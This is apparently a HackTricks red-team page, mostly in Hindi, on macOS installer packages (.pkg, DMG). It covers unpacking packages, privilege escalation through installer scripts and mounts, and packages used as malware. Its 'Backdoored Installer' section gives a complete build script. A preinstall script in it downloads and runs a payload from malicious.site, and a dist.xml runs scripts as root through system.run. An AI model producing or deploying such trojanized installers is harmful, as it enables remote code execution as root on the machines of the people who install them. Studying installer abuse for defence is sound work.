macOS Installers Abuse
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Pkg Basic Information
macOS installer package (जिसे .pkg
फ़ाइल के रूप में भी जाना जाता है) एक फ़ाइल प्रारूप है जिसका उपयोग macOS सॉफ़्टवेयर वितरित करने के लिए करता है। ये फ़ाइलें एक डिब्बे की तरह होती हैं जिसमें सॉफ़्टवेयर को सही ढंग से स्थापित और चलाने के लिए आवश्यक सभी चीजें होती हैं।
पैकेज फ़ाइल स्वयं एक संग्रह है जो फाइलों और निर्देशिकाओं की एक पदानुक्रम को रखता है जो लक्षित कंप्यूटर पर स्थापित की जाएंगी। इसमें स्क्रिप्ट भी शामिल हो सकती हैं जो स्थापना से पहले और बाद में कार्य करने के लिए होती हैं, जैसे कि कॉन्फ़िगरेशन फ़ाइलों को सेट करना या सॉफ़्टवेयर के पुराने संस्करणों को साफ करना।
Hierarchy

- Distribution (xml): कस्टमाइज़ेशन (शीर्षक, स्वागत पाठ…) और स्क्रिप्ट/स्थापना जांच
- PackageInfo (xml): जानकारी, स्थापना आवश्यकताएँ, स्थापना स्थान, चलाने के लिए स्क्रिप्ट के पथ
- Bill of materials (bom): फ़ाइलों की सूची जिन्हें स्थापित, अपडेट या हटा दिया जाना है फ़ाइल अनुमतियों के साथ
- Payload (CPIO archive gzip compresses): PackageInfo से
install-location
में स्थापित करने के लिए फ़ाइलें - Scripts (CPIO archive gzip compressed): पूर्व और पश्चात स्थापना स्क्रिप्ट और निष्पादन के लिए अस्थायी निर्देशिका में निकाली गई अधिक संसाधन।
Decompress
# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
# Get the files ina. more manual way
mkdir -p "/path/to/out/dir"
cd "/path/to/out/dir"
xar -xf "/path/to/package.pkg"
# Decompress also the CPIO gzip compressed ones
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
इंस्टॉलर की सामग्री को मैन्युअल रूप से डीकंप्रेस किए बिना देखने के लिए, आप मुफ्त टूल Suspicious Package का भी उपयोग कर सकते हैं।
DMG बुनियादी जानकारी
DMG फ़ाइलें, या Apple Disk Images, एक फ़ाइल प्रारूप हैं जो Apple के macOS द्वारा डिस्क इमेज के लिए उपयोग किया जाता है। एक DMG फ़ाइल मूल रूप से एक माउंट करने योग्य डिस्क इमेज है (इसमें अपना खुद का फ़ाइल सिस्टम होता है) जिसमें कच्चा ब्लॉक डेटा होता है जो आमतौर पर संकुचित और कभी-कभी एन्क्रिप्टेड होता है। जब आप एक DMG फ़ाइल खोलते हैं, तो macOS इसे एक भौतिक डिस्क की तरह माउंट करता है, जिससे आप इसकी सामग्री तक पहुँच सकते हैं।
caution
ध्यान दें कि .dmg
इंस्टॉलर इतने सारे प्रारूपों का समर्थन करते हैं कि अतीत में इनमें से कुछ में कमजोरियों का उपयोग कर्नेल कोड निष्पादन प्राप्त करने के लिए किया गया था।
पदानुक्रम
.png)
एक DMG फ़ाइल का पदानुक्रम सामग्री के आधार पर भिन्न हो सकता है। हालाँकि, एप्लिकेशन DMGs के लिए, यह आमतौर पर इस संरचना का पालन करता है:
- शीर्ष स्तर: यह डिस्क इमेज की जड़ है। इसमें अक्सर एप्लिकेशन और संभवतः एप्लिकेशंस फ़ोल्डर के लिए एक लिंक होता है।
- एप्लिकेशन (.app): यह वास्तविक एप्लिकेशन है। macOS में, एक एप्लिकेशन आमतौर पर एक पैकेज होता है जिसमें कई व्यक्तिगत फ़ाइलें और फ़ोल्डर होते हैं जो एप्लिकेशन बनाते हैं।
- एप्लिकेशंस लिंक: यह macOS में एप्लिकेशंस फ़ोल्डर के लिए एक शॉर्टकट है। इसका उद्देश्य आपको एप्लिकेशन स्थापित करने में आसानी प्रदान करना है। आप .app फ़ाइल को इस शॉर्टकट पर खींच सकते हैं ताकि ऐप स्थापित हो सके।
pkg दुरुपयोग के माध्यम से प्रिवेस्क
सार्वजनिक निर्देशिकाओं से निष्पादन
यदि एक पूर्व या पोस्ट इंस्टॉलेशन स्क्रिप्ट उदाहरण के लिए /var/tmp/Installerutil
से निष्पादित हो रही है, और हमलावर उस स्क्रिप्ट को नियंत्रित कर सकता है, तो वह इसे निष्पादित करते समय विशेषाधिकार बढ़ा सकता है। या एक और समान उदाहरण:

AuthorizationExecuteWithPrivileges
यह एक सार्वजनिक फ़ंक्शन है जिसे कई इंस्टॉलर और अपडेटर रूट के रूप में कुछ निष्पादित करने के लिए कॉल करेंगे। यह फ़ंक्शन निष्पादित करने के लिए फ़ाइल के पथ को पैरामीटर के रूप में स्वीकार करता है, हालाँकि, यदि एक हमलावर इस फ़ाइल को संशोधित कर सकता है, तो वह विशेषाधिकार बढ़ाने के लिए रूट के साथ इसके निष्पादन का दुरुपयोग कर सकेगा।
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
For more info check this talk: https://www.youtube.com/watch?v=lTOItyjTTkw
Execution by mounting
यदि एक इंस्टॉलर /tmp/fixedname/bla/bla
में लिखता है, तो आप /tmp/fixedname
पर कोई मालिक नहीं होने के साथ एक माउंट बना सकते हैं ताकि आप इंस्टॉलेशन के दौरान किसी भी फ़ाइल को संशोधित कर सकें और इंस्टॉलेशन प्रक्रिया का दुरुपयोग कर सकें।
इसका एक उदाहरण CVE-2021-26089 है जिसने एक आवधिक स्क्रिप्ट को अधिलेखित करने में सफलता प्राप्त की ताकि रूट के रूप में निष्पादन प्राप्त किया जा सके। अधिक जानकारी के लिए इस वार्ता को देखें: OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl
pkg as malware
Empty Payload
यह केवल .pkg
फ़ाइल को पूर्व और पश्चात-स्थापना स्क्रिप्ट के साथ उत्पन्न करना संभव है, जिसमें स्क्रिप्ट के अंदर केवल मैलवेयर होता है।
JS in Distribution xml
यह पैकेज के वितरण xml फ़ाइल में <script>
टैग जोड़ना संभव है और वह कोड निष्पादित होगा और यह system.run
का उपयोग करके कमांड निष्पादित कर सकता है:
.png)
Backdoored Installer
दुष्ट इंस्टॉलर जो dist.xml के अंदर एक स्क्रिप्ट और JS कोड का उपयोग करता है
# Package structure
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts
# Create preinstall scripts
cat > pkgroot/scripts/preinstall <<EOF
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
EOF
# Build package
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg
# Generate the malicious dist.xml
cat > ./dist.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
EOF
# Buil final
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg
संदर्भ
- DEF CON 27 - पैकेजों को अनपैक करना: macOS इंस्टॉलर पैकेजों के अंदर एक नज़र और सामान्य सुरक्षा दोष
- OBTS v4.0: "macOS इंस्टॉलर की जंगली दुनिया" - टोनी लैम्बर्ट
- DEF CON 27 - पैकेजों को अनपैक करना: macOS इंस्टॉलर पैकेजों के अंदर एक नज़र
- https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।